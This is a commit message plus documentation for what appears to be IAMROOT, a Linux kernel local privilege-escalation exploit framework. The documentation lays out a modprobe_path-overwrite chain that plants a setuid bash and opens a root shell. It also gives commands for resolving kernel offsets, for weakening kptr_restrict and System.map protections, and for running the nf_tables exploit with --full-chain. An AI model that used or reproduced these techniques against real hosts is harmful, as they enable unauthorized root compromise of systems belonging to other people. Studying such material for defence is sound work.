The README has been claiming "each module credits the original CVE
reporter and PoC author in its NOTICE.md" since v0.1.0, but only
copy_fail_family actually shipped one. Fixed.
modules/<name>/NOTICE.md (×19 new + 1 existing): per-module
research credit covering CVE ID, discoverer, original advisory
URL where public, upstream fix commit, IAMROOT's role.
iamroot.c: new --dump-offsets subcommand. Resolves kernel offsets
via the existing core/offsets.c four-source chain (env →
/proc/kallsyms → /boot/System.map → embedded table), then emits
a ready-to-paste C struct entry for kernel_table[]. Run once
as root on a target kernel build; upstream via PR. Eliminates
fabricating offsets — every shipped entry traces back to a
`iamroot --dump-offsets` invocation on a real kernel.
docs/OFFSETS.md: documents the --dump-offsets workflow.
CVES.md: notes the NOTICE.md convention + offset dump tool.
iamroot.c: bump IAMROOT_VERSION 0.3.0 → 0.3.1.
6.1 KiB
IAMROOT — kernel offset resolution
The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
write, slab UAF, etc.). The default --exploit returns
IAMROOT_EXPLOIT_FAIL after the primitive fires — the verified-vs-claimed
bar means we don't claim root unless we empirically have it.
--full-chain engages the shared finisher (core/finisher.{c,h}) which
converts the primitive to a real root pop via modprobe_path overwrite:
attacker → arb_write(modprobe_path, "/tmp/iamroot-mp-<pid>.sh")
→ execve("/tmp/iamroot-trig-<pid>") # unknown-format binary
→ kernel call_modprobe() # spawns modprobe_path as init
→ /tmp/iamroot-mp-<pid>.sh runs as root
→ cp /bin/bash /tmp/iamroot-pwn-<pid>; chmod 4755 /tmp/iamroot-pwn-<pid>
→ caller exec /tmp/iamroot-pwn-<pid> -p
→ root shell
This requires resolving &modprobe_path (a single kernel virtual
address) at runtime.
Resolution chain
core/offsets.c tries four sources in order, accepting the first
non-zero value for each field:
-
Environment variables — operator override.
IAMROOT_KBASE=0x...IAMROOT_MODPROBE_PATH=0x...IAMROOT_POWEROFF_CMD=0x...IAMROOT_INIT_TASK=0x...IAMROOT_INIT_CRED=0x...IAMROOT_CRED_OFFSET_REAL=0x...(offset ofreal_credintask_struct)IAMROOT_CRED_OFFSET_EFF=0x...IAMROOT_UID_OFFSET=0x...(offset ofuid_t uidincred, usually 0x4)
-
/proc/kallsyms— only useful whenkernel.kptr_restrict=0OR you're already root. On modern distros (kptr_restrict=1 by default) non-root reads return all zeros and this source is silently skipped. -
/boot/System.map-$(uname -r)— world-readable on some distros (older Debian, some Alma builds). Unaffected bykptr_restrict. -
Embedded table — keyed by
uname -rglob, entries are offsets relative to_text(KASLR-safe). Applied on top of a kbase leak (e.g. EntryBleed). Seeded empty in v0.2.0 — schema-only — to honor the no-fabricated-offsets rule. Operators who verify offsets on a specific kernel build are encouraged to upstream entries.
How operators populate offsets
One-shot (preferred for ad-hoc use)
# Look up on a kernel you control (as root, once):
sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
# Use the addresses inline:
IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \
iamroot --exploit nf_tables --i-know --full-chain
Automated dump (preferred for upstreaming)
iamroot --dump-offsets walks the four-source chain itself and emits
a ready-to-paste C struct entry on stdout:
sudo iamroot --dump-offsets
# /* Generated 2026-05-16 by `iamroot --dump-offsets`.
# * Host kernel: 5.15.0-56-generic distro=ubuntu
# * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
# * Paste this entry into kernel_table[] in core/offsets.c.
# */
# { .release_glob = "5.15.0-56-generic",
# .distro_match = "ubuntu",
# .rel_modprobe_path = 0x148e480,
# .rel_poweroff_cmd = 0x148e3a0,
# .rel_init_task = 0x1c11dc0,
# .rel_init_cred = 0x1e0c460,
# .cred_offset_real = 0x738,
# .cred_offset_eff = 0x740,
# },
Paste the block into kernel_table[] in core/offsets.c, rebuild,
and the new entry covers every IAMROOT user on that kernel. Open a
PR to upstream it.
Per-host (write System.map readable)
sudo chmod 0644 /boot/System.map-$(uname -r)
iamroot --exploit nf_tables --i-know --full-chain
Per-boot (lower kptr_restrict)
sudo sysctl kernel.kptr_restrict=0
iamroot --exploit nf_tables --i-know --full-chain
Note: each of these requires root once. For a true non-root LPE on an unfamiliar host you need either an info-leak module (EntryBleed gives kbase) plus an embedded table entry, or out-of-band offset acquisition.
Adding entries to the embedded table
In core/offsets.c, kernel_table[] carries the schema:
{ .release_glob = "5.15.0-25-generic",
.distro_match = "ubuntu",
.rel_modprobe_path = 0x148e480, // & _text
.rel_poweroff_cmd = 0x148e3a0,
.rel_init_task = 0x1c11dc0,
.rel_init_cred = 0x1e0c460,
.cred_offset_real = 0x758,
.cred_offset_eff = 0x760, },
To populate, on the target kernel:
# Get _text:
_text=$(grep ' _text$' /boot/System.map-$(uname -r) | awk '{print $1}')
# Get the symbols you want, subtract _text:
for sym in modprobe_path poweroff_cmd init_task init_cred; do
addr=$(grep " $sym$" /boot/System.map-$(uname -r) | awk '{print $1}')
printf "rel_%s = 0x%x\n" $sym $((0x$addr - 0x$_text))
done
Open a PR with the verified entry and a one-line note on which kernel
build + distro you tested against. Upstreamed entries make the
--full-chain path work out-of-the-box for that build.
Verifying success
The shared finisher (iamroot_finisher_modprobe_path()) drops a
sentinel file at /tmp/iamroot-pwn-<pid> after modprobe runs our
payload. The finisher polls for this file with S_ISUID mode set
for up to 3 seconds. Only when the sentinel materializes does the
module return IAMROOT_EXPLOIT_OK and (unless --no-shell) exec
the setuid bash to drop a root shell.
If the sentinel never appears the module returns IAMROOT_EXPLOIT_FAIL
with a diagnostic. Reasons it might fail even with offsets resolved:
- The arb-write didn't actually land (slab adjacency lost, value-pointer field at unexpected offset, race not won)
modprobe_pathresolution was wrong (KASLR slide miscalculated, embedded-table entry stale)- Kernel
STATIC_USERMODEHELPERconfig disables the modprobe path - AppArmor / SELinux / Lockdown LSM blocks the userspace
modprobeinvocation
Why modprobe_path and not current->cred->uid = 0?
The cred-overwrite finisher needs an arb-READ primitive too — to walk
the task linked list from init_task and find the calling process's
task_struct. Most of our 🟡 modules have only an arb-write primitive,
not a paired read. modprobe_path only needs a write to a single
known global, which is why it's the default finisher.